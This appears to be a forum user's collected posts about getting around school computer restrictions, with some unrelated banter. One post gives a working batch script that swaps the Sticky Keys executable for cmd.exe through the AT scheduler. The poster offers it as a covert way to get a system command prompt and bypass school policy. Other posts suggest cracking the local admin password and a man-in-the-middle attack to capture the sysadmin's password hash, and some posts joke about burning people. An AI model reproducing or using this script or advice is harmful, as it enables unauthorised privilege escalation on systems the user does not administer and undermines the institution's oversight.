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GonZor

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  1. Any smart admin will not cache passwords locally, chances are (presuming your admins are not idiots) you will only be able to dump the local admin password. As for the sysadmin password, that would be stored on the server like every other password, though after you gain local admin you should be able to do a Man in the Middle attack between your sys admins comp and the authentication server or proxy, this should get you the hash.
  2. Well the only proof i have of this... i set myself on fire and i was burning for ages, though it might have had something to do with the excessive fat??
  3. Yeah, sorry I realized after i should have added onto that thread, but i noticed no one had said anything about editing can include quotes
  4. No the Firefox temp folder type "about:cache" without the quotes into the address bar and it will display the folder you need to clear From memory there are a couple of files that cannot be deleted, i think these are the _CACHE_* files
  5. I don't think I'm the only one seeing this error, it seems to occur when you try to quote someone. . . TEMP SOLUTION - post something simple like "test" then go edit your post, this seems to work for me and i can include quotes. NOTE - Ive had trouble posting my post without quotes as well which is why i choose to post something simple like "test"
  6. Im prob not the one to answer this but have you tried emptying the temp folder?? I used to have this prob but emptying the temp folder fixed it for me and I'd stick with flash 8 because that is known to work
  7. n00bs are the best to burn!! They burn longer for some reason. . .
  8. WORST MISTAKE, teachers should never get admin rights half the time they have no idea what they are doing, actually its more like all the time. . . any user should only have the bare minimum privileges so that they can still do there work, why give someone admin rights when they only need access to word and ie?? In Australia it is a legal requirement to have these keys on the side of the computers, or at least somewhere on the computer. If this is really an issue when the IT department orders the computers they can specify to have these put on the back of the machine, it just takes some organization. Yes this is set in group policy, although it seems a bit worrying that a student would have local admin or do you have elevated privileges?? same as above. . . Is that for internet explorer not to cache your password?? I had to do this a while back, there was a registry key. I cant remember exactly what it was but it was easy to find just search google.
  9. Yep Nothing better than a good peanut butter sandwich! Yeah I have to agree as well, if someone doesn't like a thread then they should just stay out of it, only when people start threating to set others on fire should a thread be locked. BURN BABY BURN Don't you just love the smell of burning flesh
  10. GonZor

    Accessing C:\

    My school recently tried this approach but due to a programming class they had to change the policy so that only programs in certain folders will run. If your school has a programming class then they must be able to run the programs made somehow and i highly doubt there gonna add the md5hash for every program made. At my school basically anything in "C:Program Files" will run, unless they've added the md5hash to the disallowed list. Dunno if that is any help but its something to think about By the way are they doing this through policy or a third party program?? If its a third party program it should be easy to bypass, if its through user level policy crack the local admin pass, if its through machine level policy your basically screwed unless u want to boot to another media
  11. This is a great idea, I ran into a couple of problems so I thought I would share my solutions. First of all I'd like to say that I am aware most people will not have access to the AT command, but for the few people that may be in a similar situation as me... My Situation: I DO NOT have Local Admin privileges but I do have higher privileges than standard users, I need access to a system cmd to bypass policy without drawing attention to myself from other students. I am unable to simply replace the file from windows and booting from another media is not possible. Ok anyone thats in a similar situation to me, heres my solution @ECHO off ECHO @ECHO off>%systemroot%sethc.bat ECHO REN %systemroot%system32sethc.exe sethc.bak>>%systemroot%sethc.bat ECHO COPY %systemroot%system32cmd.exe %systemroot%system32sethc.exe>>%systemroot%sethc.bat ECHO DEL %systemroot%sethc.bat /q SET /a nextmin=(%time:~3,2% + 1) SET newtime=%time:~0,3%%nextmin% AT %newtime% /interactive %systemroot%sethc.bat Fairly simple code.... VERY simple code... but if anyone wants an explanation let me know. I'm just too lazy to do it right now. NOTE - I purposely used cmd i am aware i could just create a Local Admin account but that is not what i need. EDIT - Just to clarify I could just use SET /a nextmin=(%time:~3,2% + 1) SET newtime=%time:~0,3%%nextmin% AT %newtime% /interactive cmd but I want to be able to close the cmd prompt easily and reopen it when necessary which is why I chose the longer version. If you would like the restore file here it is I forgot to post it because I don't have a need for it @ECHO off DEL %systemroot%system32sethc.exe REN %systemroot%system32sethc.bak sethc.exe
  12. GonZor

    Accessing C:\

    At my school we've got a program called HD Guard, if these programs work the same then whatever it looks like your doing to the C: drive is actually happening to a temp file on the server, then when the computer is reset the temp file is deleted and a new one is started. So your never actually putting anything on the HDD.
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